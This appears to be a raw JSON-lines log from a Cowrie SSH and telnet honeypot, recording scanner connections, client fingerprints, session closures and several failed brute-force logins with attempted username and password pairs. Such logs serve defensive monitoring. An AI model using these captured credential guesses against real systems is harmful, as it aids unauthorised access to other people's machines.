{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:21.411770Z","src_ip":"4.210.91.174","session":"48c5e7db7592","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chentao","message":"login attempt [root/chentao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:21.711949Z","src_ip":"4.210.91.174","session":"48c5e7db7592","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:22.781386Z","src_ip":"4.210.91.174","session":"48c5e7db7592","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53932,"dst_ip":"10.17.0.5","dst_port":23,"session":"c778e7a4fdfc","protocol":"telnet","message":"New connection: 50.6.8.71:53932 (10.17.0.5:23) [session: c778e7a4fdfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:28.210648Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53950,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5373b3bb092","protocol":"telnet","message":"New connection: 50.6.8.71:53950 (10.17.0.5:23) [session: a5373b3bb092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:32.207393Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53936,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbe9d87d293b","protocol":"telnet","message":"New connection: 50.6.8.71:53936 (10.17.0.5:23) [session: fbe9d87d293b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:32.723173Z"}
{"eventid":"cowrie.session.closed","duration":31.53349542617798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:37.007170Z","src_ip":"50.6.8.71","session":"6c0e8d2c7714","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46414065361023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:47.394669Z","src_ip":"50.6.8.71","session":"993dce52901a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.129887342453003,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:47.414982Z","src_ip":"50.6.8.71","session":"38fb4b23f73a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":46632,"dst_ip":"10.17.0.5","dst_port":23,"session":"215bb69cc5de","protocol":"telnet","message":"New connection: 50.6.8.71:46632 (10.17.0.5:23) [session: 215bb69cc5de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:49.122444Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":46624,"dst_ip":"10.17.0.5","dst_port":23,"session":"673213e38952","protocol":"telnet","message":"New connection: 50.6.8.71:46624 (10.17.0.5:23) [session: 673213e38952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:52.116203Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":46638,"dst_ip":"10.17.0.5","dst_port":23,"session":"b92a88a89001","protocol":"telnet","message":"New connection: 50.6.8.71:46638 (10.17.0.5:23) [session: b92a88a89001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:52.561524Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52926,"dst_ip":"10.17.0.5","dst_port":23,"session":"309ccfe1be94","protocol":"telnet","message":"New connection: 50.6.8.71:52926 (10.17.0.5:23) [session: 309ccfe1be94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:59.235260Z"}
{"eventid":"cowrie.session.closed","duration":31.742864847183228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:59.953304Z","src_ip":"50.6.8.71","session":"c778e7a4fdfc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59906530380249,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:26:03.322151Z","src_ip":"50.6.8.71","session":"fbe9d87d293b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.695136785507202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:26:03.902416Z","src_ip":"50.6.8.71","session":"a5373b3bb092","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52944,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac33013f3834","protocol":"telnet","message":"New connection: 50.6.8.71:52944 (10.17.0.5:23) [session: ac33013f3834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:26:04.554011Z"}
{"eventid":"cowrie.session.closed","duration":120.00270056724548,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:26:08.274102Z","src_ip":"181.94.225.234","session":"c4ef1dd7a0cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00285625457764,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:26:09.893337Z","src_ip":"181.94.225.234","session":"4009e2c16b2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.94.225.234","src_port":55987,"dst_ip":"159.203.135.109","dst_port":23,"session":"83f16b2b0d9e","protocol":"telnet","message":"New connection: 181.94.225.234:55987 (159.203.135.109:23) [session: 83f16b2b0d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:26:11.247469Z"}
{"eventid":"cowrie.session.closed","duration":120.00260210037231,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:26:12.926219Z","src_ip":"181.94.225.234","session":"0881855bf15c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.94.225.234","src_port":56346,"dst_ip":"159.203.135.109","dst_port":23,"session":"9334f622d20d","protocol":"telnet","message":"New connection: 181.94.225.234:56346 (159.203.135.109:23) [session: 9334f622d20d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:26:13.278707Z"}
{"eventid":"cowrie.session.closed","duration":120.00580978393555,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:26:17.324033Z","src_ip":"23.94.28.189","session":"4d6b292e6e7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":52048,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d8e24a0cee3","protocol":"ssh","message":"New connection: 200.77.172.159:52048 (159.203.135.109:22) [session: 7d8e24a0cee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:26:18.323012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:26:18.327684Z","src_ip":"200.77.172.159","session":"7d8e24a0cee3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:26:18.403901Z","src_ip":"200.77.172.159","session":"7d8e24a0cee3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bitchesrule","message":"login attempt [root/bitchesrule] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:26:18.738708Z","src_ip":"200.77.172.159","session":"7d8e24a0cee3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:26:19.818964Z","src_ip":"200.77.172.159","session":"7d8e24a0cee3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.911681652069092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:26:20.034001Z","src_ip":"50.6.8.71","session":"215bb69cc5de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.594242811203003,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:26:23.710294Z","src_ip":"50.6.8.71","session":"673213e38952","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.30975914001465,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:26:25.871136Z","src_ip":"50.6.8.71","session":"b92a88a89001","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.42515993118286,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:26:31.660281Z","src_ip":"50.6.8.71","session":"309ccfe1be94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33592,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4a000b64186","protocol":"telnet","message":"New connection: 50.6.8.71:33592 (10.17.0.5:23) [session: d4a000b64186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:26:32.926046Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":42450,"dst_ip":"10.17.0.5","dst_port":23,"session":"a610a3dd1c2d","protocol":"telnet","message":"New connection: 50.6.8.71:42450 (10.17.0.5:23) [session: a610a3dd1c2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:26:37.363161Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"293258fda94e","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: 293258fda94e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:26:39.332859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:26:39.337176Z","src_ip":"4.210.91.174","session":"293258fda94e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:26:39.404660Z","src_ip":"4.210.91.174","session":"293258fda94e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:26:39.710459Z","src_ip":"4.210.91.174","session":"293258fda94e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:26:40.781637Z","src_ip":"4.210.91.174","session":"293258fda94e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.85221743583679,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:26:56.406159Z","src_ip":"50.6.8.71","session":"ac33013f3834","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"219.255.19.37","src_port":55442,"dst_ip":"159.203.135.109","dst_port":23,"session":"f651ec6dab6c","protocol":"telnet","message":"New connection: 219.255.19.37:55442 (159.203.135.109:23) [session: f651ec6dab6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:04.120408Z"}
{"eventid":"cowrie.session.closed","duration":32.920156717300415,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:10.283216Z","src_ip":"50.6.8.71","session":"a610a3dd1c2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41086,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbbce9bca586","protocol":"telnet","message":"New connection: 50.6.8.71:41086 (10.17.0.5:23) [session: fbbce9bca586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:13.140773Z"}
{"eventid":"cowrie.session.closed","duration":12.25716257095337,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:16.377448Z","src_ip":"219.255.19.37","session":"f651ec6dab6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.59098029136658,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:16.516915Z","src_ip":"50.6.8.71","session":"d4a000b64186","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38144,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bb925f8a692","protocol":"telnet","message":"New connection: 50.6.8.71:38144 (10.17.0.5:23) [session: 2bb925f8a692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:26.260524Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36780,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bd4b5f0ed77","protocol":"telnet","message":"New connection: 50.6.8.71:36780 (10.17.0.5:23) [session: 8bd4b5f0ed77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:31.245885Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36774,"dst_ip":"10.17.0.5","dst_port":23,"session":"609c04dbce3c","protocol":"telnet","message":"New connection: 50.6.8.71:36774 (10.17.0.5:23) [session: 609c04dbce3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:31.575332Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49954,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ceea15d40c5","protocol":"telnet","message":"New connection: 50.6.8.71:49954 (10.17.0.5:23) [session: 5ceea15d40c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:36.211982Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":48862,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab9e83f2ebec","protocol":"ssh","message":"New connection: 200.77.172.159:48862 (159.203.135.109:22) [session: ab9e83f2ebec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:37.344406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:37.348273Z","src_ip":"200.77.172.159","session":"ab9e83f2ebec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:37.424070Z","src_ip":"200.77.172.159","session":"ab9e83f2ebec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:37.745919Z","src_ip":"200.77.172.159","session":"ab9e83f2ebec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:38.822569Z","src_ip":"200.77.172.159","session":"ab9e83f2ebec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49960,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf66eac0a602","protocol":"telnet","message":"New connection: 50.6.8.71:49960 (10.17.0.5:23) [session: cf66eac0a602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:39.293431Z"}
{"eventid":"cowrie.session.closed","duration":31.478359699249268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:44.618996Z","src_ip":"50.6.8.71","session":"fbbce9bca586","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49974,"dst_ip":"10.17.0.5","dst_port":23,"session":"a831516cb5f4","protocol":"telnet","message":"New connection: 50.6.8.71:49974 (10.17.0.5:23) [session: a831516cb5f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:44.889750Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49988,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8a3148f6ceb","protocol":"telnet","message":"New connection: 50.6.8.71:49988 (10.17.0.5:23) [session: e8a3148f6ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:45.188238Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":38292,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8f179421fc9","protocol":"telnet","message":"New connection: 23.94.28.189:38292 (10.17.0.5:23) [session: a8f179421fc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:49.122798Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":38506,"dst_ip":"10.17.0.5","dst_port":23,"session":"659dfdf25d36","protocol":"telnet","message":"New connection: 23.94.28.189:38506 (10.17.0.5:23) [session: 659dfdf25d36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:50.563163Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36472,"dst_ip":"10.17.0.5","dst_port":23,"session":"5aa2e8e8292f","protocol":"telnet","message":"New connection: 50.6.8.71:36472 (10.17.0.5:23) [session: 5aa2e8e8292f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:52.736706Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36484,"dst_ip":"10.17.0.5","dst_port":23,"session":"4046356117f9","protocol":"telnet","message":"New connection: 50.6.8.71:36484 (10.17.0.5:23) [session: 4046356117f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:54.040107Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36486,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f6727044396","protocol":"telnet","message":"New connection: 50.6.8.71:36486 (10.17.0.5:23) [session: 1f6727044396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:27:55.336518Z"}
